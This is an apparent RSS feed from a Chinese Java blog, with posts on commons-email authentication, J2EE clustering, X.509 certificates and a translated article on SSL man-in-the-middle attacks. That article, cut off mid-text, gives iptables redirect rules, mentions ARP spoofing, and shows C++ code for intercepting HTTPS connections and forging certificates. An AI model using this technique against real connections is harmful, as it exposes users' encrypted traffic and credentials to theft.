face=Courier>Email.setAuthenticator(javax.mail.Authenticator&nbsp;newAuthenticator)即可<BR><BR>这一点jakarta也做了，给我们提供了一个defaultAuthenticator<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;javax.mail.Authenticator<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.DefaultAuthenticator</SPAN></DIV><BR>覆盖掉该方法，实现你自己的东东 o_o<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #0000ff">protected</SPAN><SPAN style="COLOR: #000000">&nbsp;javax.mail.PasswordAuthentication&nbsp;getPasswordAuthentication()</SPAN></DIV><BR><BR>五：any more?<BR>当然有了 o_o 以后再写.<BR></FONT></DIV></DIV><img src ="http://www.blogjava.net/kapok/aggbug/14460.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 22:09 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14460.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>读"Under the Hood of J2EE Clustering" J2EE集群</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 14:01:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14458.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14458.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14458.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14458.html</trackback:ping><description><![CDATA[<DIV class=posttitle><A class=singleposttitle id=viewpost1_TitleUrl HREF="/scud/archive/2005/09/28/14362.html">读"Under the Hood of J2EE Clustering" J2EE集群</A> </DIV>
<P>原文地址<A href="http://www.theserverside.com/articles/article.tss?l=J2EEClustering" target=_blank>http://www.theserverside.com/articles/article.tss?l=J2EEClustering</A> .</P>
<P>此文章写的非常通俗易懂,用词简单,建议阅读一下,就是有点长.</P>
<P><STRONG>相关术语</STRONG></P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
<P>&nbsp;Scalability<BR>&nbsp;&nbsp;可度量<BR>&nbsp;<BR>&nbsp;High Availability<BR>&nbsp;&nbsp;高可用性<BR>&nbsp;<BR>&nbsp;Load balancing<BR>&nbsp;&nbsp;负载均衡<BR>&nbsp;<BR>&nbsp;Fault Tolerance<BR>&nbsp;&nbsp;错误冗余&nbsp;&nbsp;<BR>&nbsp;<BR>&nbsp;Failover<BR>&nbsp;&nbsp;崩溃挽回?<BR>&nbsp;<BR>&nbsp;Idempotent methods<BR>&nbsp;&nbsp;等幂函数? 意思就是函数本身也是从集群中获取一个节点来执行的函数...(咳,这么别扭)</P>
<P>&nbsp;</P></BLOCKQUOTE>
<P><BR><STRONG>HTTPSession 集群实现</STRONG></P><STRONG></STRONG>
<UL dir=ltr style="MARGIN-RIGHT: 0px">
<LI>Database persistence approach 数据库保存 
<LI>Memory replication approach 内存保存 
<UL>
<LI>&nbsp;&nbsp;Tomcat’s approach :Multi-servers replication &nbsp;多服务器复制:互相复制 
<LI>&nbsp;&nbsp;Weblogic, Jboss and WebSphere’s approach-- paired servers replication 结对复制 
<LI>&nbsp;&nbsp;IBM’s Approach -- centralized state server 中心服务器 
<LI>&nbsp;&nbsp;Sun’s approach – special Database 特殊数据库复制(内存) </LI></UL></LI></UL>
<P><STRONG>JNDI 集群实现</STRONG></P>
<UL>
<LI>&nbsp;Shared global JNDI Tree 共享JNDI树 
<LI>&nbsp;Independent JNDI&nbsp;独立的JNDI 
<LI>&nbsp;Centralized JNDI&nbsp;中心服务器JNDI<BR>&nbsp; </LI></UL>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;有些Application支持多个地址用逗号分割</P>
<P><BR>&nbsp;</P>
<P><STRONG>EJB集群实现</STRONG><BR>&nbsp;(略过...)<BR>&nbsp;<BR><STRONG>JMS和数据库连接的集群支持</STRONG><BR>&nbsp;很多不支持...</P>
<P><STRONG>Myths about J2EE clustering J2EE集群神话</STRONG></P>
<UL>
<LI>&nbsp;Failover can avoid errors completely. -- Negative &nbsp;<STRONG>FailOver能完全避免错误 --并非如此</STRONG><BR>&nbsp;&nbsp;执行到一半发生错误是很难避免的,除非调用的是"Idempotent methods"<BR>&nbsp;&nbsp;不过我觉得可以不考虑这个问题? </LI></UL>
<P>&nbsp;</P>
<UL dir=ltr style="MARGIN-RIGHT: 0px">
<LI>Stand-alone applications can be transmit transparently to a cluster structure. -- Negative! <STRONG>单机程序能够透明地发布到集群构架上 --并非如此</STRONG> 
<UL>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Http Session 限制</FONT><BR>&nbsp;&nbsp;&nbsp;保存在session里面的数据必须支持序列化<BR>&nbsp;&nbsp;&nbsp;避免保存大的对象<BR>&nbsp;&nbsp;&nbsp;内存复制集群的必须防止交叉引用<BR>&nbsp;&nbsp;&nbsp;setAttribute方法的调用<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Cache</FONT><BR>&nbsp;&nbsp;&nbsp;很多时候缓存不起效果<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Static variables<BR></FONT>&nbsp;&nbsp;&nbsp;类似单态的使用会造成问题,如果没有考虑集群的话&nbsp;&nbsp;&nbsp;<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>External resource</FONT><BR>&nbsp;&nbsp;&nbsp;外部资源例如上传文件如果保存在某个服务器的磁盘上会有问题.这时候要保存在数据库里或者使用磁盘阵列等解决方式.&nbsp;<BR>
<LI>&nbsp;&nbsp;<FONT color=#ff6600>Special Services<BR></FONT>&nbsp;&nbsp;&nbsp;例如定时的服务,会造成每台服务器都去调用的可能,所以要考虑.<BR>&nbsp;&nbsp;&nbsp;<BR></LI></UL>
<LI>Distributed structure is more flexible than collocated one? -- Maybe Not! <STRONG>分布式结构比集中配置灵活 --可能不是</STRONG><BR>&nbsp;&nbsp;分析了Web容器和EJB容器的关系.<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp; </LI></UL>
<P><STRONG>Conclusion &nbsp;结论</STRONG><BR>&nbsp;集群并不是那么简单,从项目的开始就要考虑相关问题.</P><img src ="http://www.blogjava.net/kapok/aggbug/14458.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 22:01 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14458.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Phase</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 12:14:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14450.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14450.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14450.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14450.html</trackback:ping><description><![CDATA[<IMG src="mk:@MSITStore:C:\Ivan\books\Manning%20in%20Action%20Seriels\Morgan.Kaufmann.Publishers.Java.Web.Services.Architecture.eBook-LiB.chm::/7058final/images/fig610%5F01%5F0%2Ejpg"><img src ="http://www.blogjava.net/kapok/aggbug/14450.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 20:14 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14450.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>x509数字证书介绍</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:51:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14378.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14378.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14378.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14378.html</trackback:ping><description><![CDATA[x509数字证书介绍<BR><A href="http://sureserv.com/bbs/read.php?fid=17&amp;tid=17&amp;fpage=1">http://sureserv.com/bbs/read.php?fid=17&amp;tid=17&amp;fpage=1</A><SPAN class=tpc_content><BR><BR>一、什么是数字证书 <BR>数字证书就是互联网通讯中标志通讯各方身份信息的一系列数据，提供了一种在Internet上验证您身份的方式，其作用类似于司机的驾驶执照或日常生活中的身份证。它是由一个由权威机构-----CA机构，又称为证书授权(Certificate Authorit y)中心发行的，人们可以在网上用它来识别对方的身份。数字证书是一个经证书授权 中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。最简单的证书包含一 个公开密钥、名称以及证书授权中心的数字签名。一般情况下证书中还包括密钥的有 效时间，发证机关(证书授权中心)的名称，该证书的序列号等信息，证书的格式遵循 ITUT X.509国际标准。 <BR>一个标准的X.509数字证书包含以下一些内容： <BR>&nbsp; 证书的版本信息； <BR>&nbsp; 证书的序列号，每个证书都有一个唯一的证书序列号； <BR>&nbsp; 证书所使用的签名算法； <BR>&nbsp; 证书的发行机构名称，命名规则一般采用X.500格式； <BR>&nbsp; 证书的有效期，现在通用的证书一般采用UTC时间格式，它的计时范围为1950-2049; <BR>&nbsp; 证书所有人的名称，命名规则一般采用X.500格式； <BR>&nbsp; 证书所有人的公开密钥； <BR>&nbsp; 证书发行者对证书的签名。 <BR><BR>二、为什么要用数字证书 <BR>基于Internet网的电子商务系统技术使在网上购物的顾客能够极其方便轻松地获 得商家和企业的信息，但同时也增加了对某些敏感或有价值的数据被滥用的风险。买 方和卖方都必须对于在因特网上进行的一切金融交易运作都是真实可靠的，并且要使 顾客、商家和企业等交易各方都具有绝对的信心，因而因特网（Internet）电子商务 系统必须保证具有十分可靠的安全保密技术，也就是说，必须保证网络安全的四大要 素，即信息传输的保密性、数据交换的完整性、发送信息的不可否认性、交易者身份 的确定性。 <BR><BR>1、信息的保密性 <BR>交易中的商务信息均有保密的要求。如信用卡的帐号和用户名被人知悉，就可能 被盗用，订货和付款的信息被竞争对手获悉，就可能丧失商机。因此在电子商务的信 息传播中一般均有加密的要求。 <BR>2、交易者身份的确定性 <BR>网上交易的双方很可能素昧平生，相隔千里。要使交易成功首先要能确认对方的 身份，对商家要考虑客户端不能是骗子，而客户也会担心网上的商店不是一个玩弄欺 诈的黑店。因此能方便而可靠地确认对方身份是交易的前提。对于为顾客或用户开展 服务的银行、信用卡公司和销售商店，为了做到安全、保密、可靠地开展服务活动， 都要进行身份认证的工作。对有关的销售商店来说，他们对顾客所用的信用卡的号码 是不知道的，商店只能把信用卡的确认工作完全交给银行来完成。银行和信用卡公司 可以采用各种保密与识别方法，确认顾客的身份是否合法，同时还要防止发生拒付款 问题以及确认订货和订货收据信息等。 <BR>3、不可否认性 <BR>由于商情的千变万化，交易一旦达成是不能被否认的。否则必然会损害一方的利 益。例如订购黄金，订货时金价较低，但收到订单后，金价上涨了，如收单方能否认 受到订单的实际时间，甚至否认收到订单的事实，则订货方就会蒙受损失。因此电子 交易通信过程的各个环节都必须是不可否认的。 <BR>4、不可修改性 <BR>交易的文件是不可被修改的，如上例所举的订购黄金。供货单位在收到订单后， 发现金价大幅上涨了，如其能改动文件内容，将订购数1吨改为1克，则可大幅受益， 那么订货单位可能就会因此而蒙受损失。因此电子交易文件也要能做到不可修改，以 保障交易的严肃和公正。 <BR>人们在感叹电子商务的巨大潜力的同时，不得不冷静地思考，在人与人互不见面 的计算机互联网上进行交易和作业时，怎么才能保证交易的公正性和安全性，保证交 易双方身份的真实性。国际上已经有比较成熟的安全解决方案， 那就是建立安全证书体系结构。数字安全证书提供了一种在网上验证身份的方式。安全证书体制主要采 用了公开密钥体制，其它还包括对称密钥加密、数字签名、数字信封等技术。 <BR>我们可以使用数字证书，通过运用对称和非对称密码体制等密码技术建立起一套严密的身份认证系统，从而保证：信息除发送方和接收方外不被其它人窃取；信息在传输过程中不被篡改；发送方能够通过数字证书来确认接收方的身份；发送方对于自己的信息不能抵赖。 <BR><BR>三、数字证书原理介绍 <BR>数字证书采用公钥体制，即利用一对互相匹配的密钥进行加密、解密。每个用户自己设定一把特定的仅为本人所知的私有密钥（私钥），用它进行解密和签名；同时设定一把公共密钥（公钥）并由本人公开，为一组用户所共享，用于加密和验证签名。当发送一份保密文件时，发送方使用接收方的公钥对数据加密，而接收方则使用 自己的私钥解密，这样信息就可以安全无误地到达目的地了。通过数字的手段保证加 密过程是一个不可逆过程，即只有用私有密钥才能解密。在公开密钥密码体制中，常用的一种是RSA体制。其数学原理是将一个大数分解成两个质数的乘积，加密和解密用的是两个不同的密钥。即使已知明文、密文和加密密钥（公开密钥），想要推导出解密密钥（私密密钥），在计算上是不可能的。按现在的计算机技术水平，要破解目前采用的1024位RSA密钥，需要上千年的计算时间。公开密钥技术解决了密钥发布的管理问题，商户可以公开其公开密钥，而保留其私有密钥。购物者可以用人人皆知的公开密钥对发送的信息进行加密，安全地传送给商户，然后由商户用自己的私有密钥 进行解密。 <BR><BR>用户也可以采用自己的私钥对信息加以处理，由于密钥仅为本人所有，这样就产生了别人无法生成的文件，也就形成了数字签名。采用数字签名，能够确认以下两点： <BR>（1）保证信息是由签名者自己签名发送的，签名者不能否认或难以否认； <BR>（2）保证信息自签发后到收到为止未曾作过任何修改，签发的文件是真实文件。 <BR>数字签名具体做法是: <BR>（1）将报文按双方约定的HASH算法计算得到一个固定位数的报文摘要。在数学上保证:只要改动报文中任何一位，重新计算出的报文摘要值就会与原先的值不相符。这样就保证了报文的不可更改性。 <BR>（2）将该报文摘要值用发送者的私人密钥加密，然后连同原报文一起发送给接收者，而产生的报文即称数字签名。 <BR>（3）接收方收到数字签名后，用同样的HASH算法对报文计算摘要值，然后与用发送者的公开密钥进行解密解开的报文摘要值相比较。如相等则说明报文确实来自所称的发送者。　 <BR><BR>四、证书与证书授权中心 <BR>CA机构，又称为证书授证(Certificate Authority)中心，作为电子商务交易中受信任的第三方，承担公钥体系中公钥的合法性检验的责任。CA中心为每个使用公开密钥的用户发放一个数字证书，数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书，因此是安全电子交易的核心环节。 <BR><BR>由此可见，建设证书授权（CA）中心，是山西省开拓和规范电子商务市场必不可少的一步。为保证用户之间在网上传递信息的安全性、真实性、可靠性、完整性和不可抵赖性，不仅需要对用户的身份真实性进行验证，也需要有一个具有权威性、公正性、唯一性的机构，负责向电子商务的各个主体颁发并管理符合国内、国际安全电子 交易协议标准的电子商务安全证书。 <BR><BR>五、数字证书的应用 <BR>数字证书可以应用于互联网上的电子商务活动和电子政务活动，其应用范围涉及需要身份认证及数据安全的各个行业，包括传统的商业、制造业、流通业的网上交易，以及公共事业、金融服务业、工商税务、海关、政府行政办公、教育科研单位、保险、医疗等网上作业系统<BR></SPAN><img src ="http://www.blogjava.net/kapok/aggbug/14378.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:51 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14378.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SSL※ X509</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14377.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14377.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14377.html</trackback:ping><description><![CDATA[作者：Stealth <BR>翻译：nixe0n <BR><BR><A href="http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320">http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320</A><BR><BR><BR>简介 <BR><BR><BR>SSLv3的当前版本是3.1版，也被称为TLS。它提供了一种机制，在网络上进行安全的数据传输。它据说能够满足所有的安全需要，比如：你的银行帐户管理。 <BR><BR>但是在这里我将告诉你，这实际上是不可能的。 <BR><BR>在本文中，我首先将对SSL做一些介绍，这是非常重要的。不过，这里我们不会介绍诸如SSL是怎样实现连接的等深层问题，如果有兴趣，可以自己参考参考资料。 <BR><BR><BR><BR>1.为什么使用SSL <BR><BR><BR>SSL是为了实现网络数据传输中的如下目的设计的： <BR><BR><BR><BR>机密性 <BR><BR>这是通过对数据进行加密实现的，在进行SSL握手时，SSL选择一种对称算法对数据进行加密，然后才在网络上传输数据。SSL使用的加密算法有好多种，如果某种算法被新的网络攻击方法识破，它只要选择另外的算法就可以了。 <BR><BR><BR>消息的完整性 <BR><BR>SSL使用一种很健壮的信息验证码(Message Authentication Code)，例如：SHA-1，验证码被放在数据包的后部，并且和数据一块被加密。这样，如果数据被修改，其散列值就无法和原来的验证码匹配，从而能够检测出数据是否被修改。MAC同时也被用于保护SSL连接免受干扰。 <BR><BR><BR><BR>保护数据免受重放攻击(replay-attack) <BR><BR>SSL使用序列号来保护通讯方免受报文重放攻击。这个序列号被加密后作为数据包的负载。在整个SSL握手中中，都有一个唯一的随机数来标记这个SSL握手，这样重放便无机可乘。 <BR><BR><BR>免受recorder攻击(reorder-attack) <BR><BR>上面所说的序列号也可以防止攻击者记录数据包并以不同的次序发送。 <BR><BR><BR><BR>端点验证 <BR><BR>使用X509(当前版本是3)证书，SSL支持客户和服务器的验证。关于服务器的连接，我们稍后将深入介绍。 <BR><BR><BR>这听起来似乎很安全，但是看了本文介绍的程序，就就不这么想了。(不过，我们还不能打破客户端的验证) <BR><BR>使用本文介绍的攻击方法，我们就可以看到SSL连接上所有明文数据，根据我们的需要修改传输的数据，对数据进行中继发送，以错误的次序发送甚至丢弃我们不需要的报文。这种攻击方法就是所谓的途中人攻击(man in the middle attack，或者中间人攻击)。 <BR><BR><BR><BR>2.X509数字证书 <BR><BR><BR>X509数字证书是SSL的一个组成部分。在SSL握手过程中，服务器向客户发送自己的数字证书。一个X509数字证书包括发行者的识别名(Distinguished Name)、主体(Subject)的识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗，还有主体的公钥。 <BR><BR>主体(subject)是这个证书包含实体的名，证书中的公钥属于主体(Subject)。在平常的X509数字证书中，没有标志DNS名的域。通常，CN域被影射为DNS名，但是这只是一个客户和数字证书的实体必须都认可的协议。 <BR><BR>发行者(issuer)是使用自己的私钥签发这个数字证书。它叫做数字证书中心(Certificate Authority,CA)。 <BR><BR>让我们看一个X509数字证书： <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 1 (0x0) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR>Validity <BR>Not Before: Nov 19 01:57:27 2000 GMT <BR>Not After : Apr 5 01:57:27 2028 GMT <BR>Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2: <BR>e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05: <BR>e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd: <BR>70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9: <BR>0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25: <BR>47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12: <BR>a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7: <BR>a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1: <BR>83:88:8f:c4:6a:8c:bb:26:fd <BR>Exponent: 65537 (0x10001) <BR>Signature Algorithm: md5WithRSAEncryption <BR>7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d: <BR>e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee: <BR>42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e: <BR>a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca: <BR>ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd: <BR>8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7: <BR>80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03: <BR>82:f1 <BR><BR><BR>要点： <BR><BR><BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>C、ST、L、O和Email构成发行者的识别名(distinguished name,DN)。 <BR><BR><BR>Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>证书可以由一个公开的CA签发，或者由自己签发(就是所谓的自签发证书)。在这个例子中的证书就是由自己签发的。 <BR><BR>这是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看起来会怎样。 <BR><BR>当你的浏览器向<A style="COLOR: #003793" href="https://segfault.net/" target=_blank>https://segfault.net</A>的连接时，这个证书会在SSL握手期间进行交换。证书中保存的公钥就被用于会话的加密。 <BR><BR>为了具有pretty good层的安全性，证书应该由一个CA(你自己或者一个公开的CA)签发，客户有这个CA的公钥用于检查这个证书的合法性。如果客户没有这个CA的公钥，浏览器就会提示用户接受还是拒绝这个证书。这对于交互式的客户程序是必须的，不过事实上对于太多的站点发行的证书，客户并没有他们的公钥来检查证书的合法性。对于普通的交互式客户程序(例如：Netscape浏览器)，这种情况就可能造成使SSL连接失去意义。 <BR><BR><BR><BR>3.拦截 <BR><BR><BR>综上所述，X509数字证书是SSL的重要环节。它的任务就是保证客户和服务器之间的会话，并且它使用的密钥是正确的。 <BR><BR>现在，想象一下我们伪装一个证书，并对一个SSL连接进行转发会怎么样。 <BR><BR>这值得一试。我们的座右铭是“teile und herrsche（哪国英文？）”，这里我们必须解决两个问题： <BR><BR><BR><BR>a.劫持连接然后进行转发。 <BR><BR><BR>b.伪造一个数字证书，让客户以为他是和真正的服务器通讯。 <BR><BR><BR>a+b就是通常所说的途中人(man in the middle，又可以叫做中间人)攻击。从理论上X509应该能够阻止这种攻击，但是平常的交互式客户程序(例如：Netscape浏览器)所采取的证书检查方式使这种攻击方式有机可乘。 <BR><BR>第一个问题很好解决，假设我们位于客户和服务器之间，我们只要在我们的防火墙上略施小计(最好是在Linux或者BSD上:P)把连接重定向就可以了，另外我们把自己的程序称为mimd。对于Linux-2.2.x(ipchains)版本的内核，使用如下规则就可以截获https包文，把它们导入输入(input)链: <BR><BR><BR>ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp <BR><BR><BR>对于Linux-2.4.x内核(iptables)，可以使用如下规则： <BR><BR><BR>iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\ <BR>-j REDIRECT --to-port 10000 <BR><BR><BR>要给出SSL客户的源端口，如果我们忽略了这一点，mimid就会进入一个无限的循环(iptables将会重定向已经重定向的流量)。mimd被绑定到8888端口，它不匹配这条规则。你的物理位置不必位于SSL连接双方中间，位于服务器局域网内或者客户机局域网内就足够了。使用ARP欺诈就可以很好地完成这个工作，甚至连防火墙规则都不必修改。 <BR><BR>有了这些重定向规则，我们就可以着手建立的工具了。目标地址可以使用操作系统的API找到(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系统中都可以成功编译。使用这个小程序，我们可以看到通过连接的数据。 <BR><BR>为了使这个小程序能够看到连接的明文数据，我们需要使用SSL_accpet()和SSL_connect()调用。首先，我们需要调用(accept()接受客户程序的连接，接着使用SSL_connect()向真正的服务器发起连接请求。然后，执行真正的SSL_accept()。假设我们已经完成了初始化内容，比如：加载密钥文件等。这时，在客户端，客户程序(例如：浏览器)就会询问用户是否接受这个工具的证书。 <BR><BR>但是，用户显然可以轻松认出这个证书是伪造的，因为他在浏览A公司的网站时，却收到B公司或者途中人的证书，必然会引起他的怀疑。 <BR><BR>下面我们将会解决这个问题。SSL_connect()和SSL_accept()的顺序应该正确，我将对其进行解释。 <BR><BR><BR><BR>4.DCA <BR><BR><BR>如果用户接受伪造的证书，我们就可以使用SSL_read()读出连接的明文数据，并使用SSL_write()把它们转发到真正的服务器。现在我们就着手解决如何伪造证书的问题。 <BR><BR>记住：在SSL_connect()要先于SSL_accept()调用，这样服务器可以把我们看做合法的用户，和我们进行正常的SSL握手，从而我们可以得到服务器的证书。 <BR><BR>下面我们看一下实际的代码： <BR><BR><BR>//阻塞，等待iptables劫持的连接 <BR>while ((afd = accept(sfd, (sockaddr*)&amp;from, &amp;socksize)) &gt;= 0) { <BR><BR>// 获得连接真正的 <BR>// 目的地址 <BR>if (NS_Socket::dstaddr(afd, &amp;dst) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>++i;//一个全局变量记录被劫持连接的数量 <BR>if (fork() == 0) {//fork出一个进程，由子进程处理被劫持的连接，父进程继续等待连接 <BR><BR>// 成为真正目的服务器的客户 <BR>if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) &lt; 0) { <BR>log("main::socket"); <BR>die(NULL); <BR>} <BR><BR><BR>if (NS_Socket::bind_local(sfd2, 8888+i, 0) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>}//把套接字绑定到本地端口，可以同时处理多个连接 <BR><BR><BR>// 向真正的服务器发起连接 <BR>if (connect(sfd2, (struct sockaddr*)&amp;dst, <BR>sizeof(dst)) &lt; 0) { <BR>log("main::connect"); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>client-&gt;start(); <BR>client-&gt;fileno(sfd2); // 使用sfd2和真正的服务器进行连接 <BR><BR>// 进行SSL握手以建立SSL连接 <BR>if (client-&gt;connect() &lt; 0) { <BR>log("Clientside handshake failed. Aborting."); <BR>die(NULL); <BR>} <BR><BR><BR>现在，我们和真正服务器之间的SSL握手已经完成。注意，在源代码中，SSL_connect()和SSL_accept()两个函数都被封装到了client和server对象中。现在，我们可以准备自己作为SSL服务器和SSL客户之间的连接了： <BR><BR><BR>// 服务器端 <BR><BR>server-&gt;start(); // 建立SSL对象 <BR>server-&gt;fileno(afd); // 使用afd套接字接受客户连接 <BR><BR><BR>我们进行真正的伪造，调用SSL_accept()： <BR><BR><BR>if (enable_dca) <BR>NS_DCA::do_dca(client, server); <BR><BR><BR>动态证书装配(Dynamic Certificate Assembly)函数do_dca()进行如下工作： <BR><BR><BR>给一个几乎是空白的证书(除了C域之外，其它RDN全部为空)，do_dca()使用和服务器进行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域，把它们放到我们自己的证书，然后把这个证书显示给SSL客户。为了完成这个工作，do_dca()使用了字符串解析(抽取RDN域)，并调用OpenSSL提供的using X509_()函数。 